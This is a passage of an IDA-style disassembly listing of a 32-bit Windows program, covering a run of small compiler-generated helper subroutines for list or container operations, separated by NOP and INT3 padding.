ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_415040: ; CODE XREF: sub_414E10+82j ; sub_414E10+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415100 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_415100 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415140 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151C0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415230 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4152A0 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_4152A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41536D push edi mov edi, [esp+14h+arg_0] loc_41531F: ; CODE XREF: sub_4152E0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415351 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41535A ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152E0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41535A: ; CODE XREF: sub_4152E0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41531F pop edi loc_41536D: ; CODE XREF: sub_4152E0+38j pop esi add esp, 0Ch retn 4 sub_4152E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153B0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415450 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415450 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415490 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415570 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415570 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41568D push edi mov edi, [esp+14h+arg_0] loc_41563F: ; CODE XREF: sub_415600+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415671 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41567A ; --------------------------------------------------------------------------- loc_415671: ; CODE XREF: sub_415600+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41567A: ; CODE XREF: sub_415600+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41563F pop edi loc_41568D: ; CODE XREF: sub_415600+38j pop esi add esp, 0Ch retn 4 sub_415600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156D0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156F0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415710 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415740 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415740 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415770 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415770 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157B0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415820 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415860 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415860 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415890 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415890 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158D0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415920 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_4159AD push edi mov edi, [esp+14h+arg_0] loc_41595F: ; CODE XREF: sub_415920+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415991 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41599A ; --------------------------------------------------------------------------- loc_415991: ; CODE XREF: sub_415920+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41599A: ; CODE XREF: sub_415920+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41595F pop edi loc_4159AD: ; CODE XREF: sub_415920+38j pop esi add esp, 0Ch retn 4 sub_415920 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159F0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A10 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A60 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A90 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B00 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415B00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BED push edi mov edi, [esp+8+arg_0] loc_415BBA: ; CODE XREF: sub_415BA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BBA pop edi loc_415BED: ; CODE XREF: sub_415BA0+13j pop esi retn 0Ch sub_415BA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C20 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D3A loc_415CF8: ; CODE XREF: sub_415CE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D3A: ; CODE XREF: sub_415CE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D70 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D85 mov edi, esi loc_415D85: ; CODE XREF: ___:00415D81j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D9A mov edi, esi loc_415D9A: ; CODE XREF: ___:00415D96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DC0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DE0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E00 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E20 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E40 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E70 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415EA0 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415EA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415ED0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415ED0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F70 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41608A loc_416048: ; CODE XREF: sub_416030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_416030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160C0 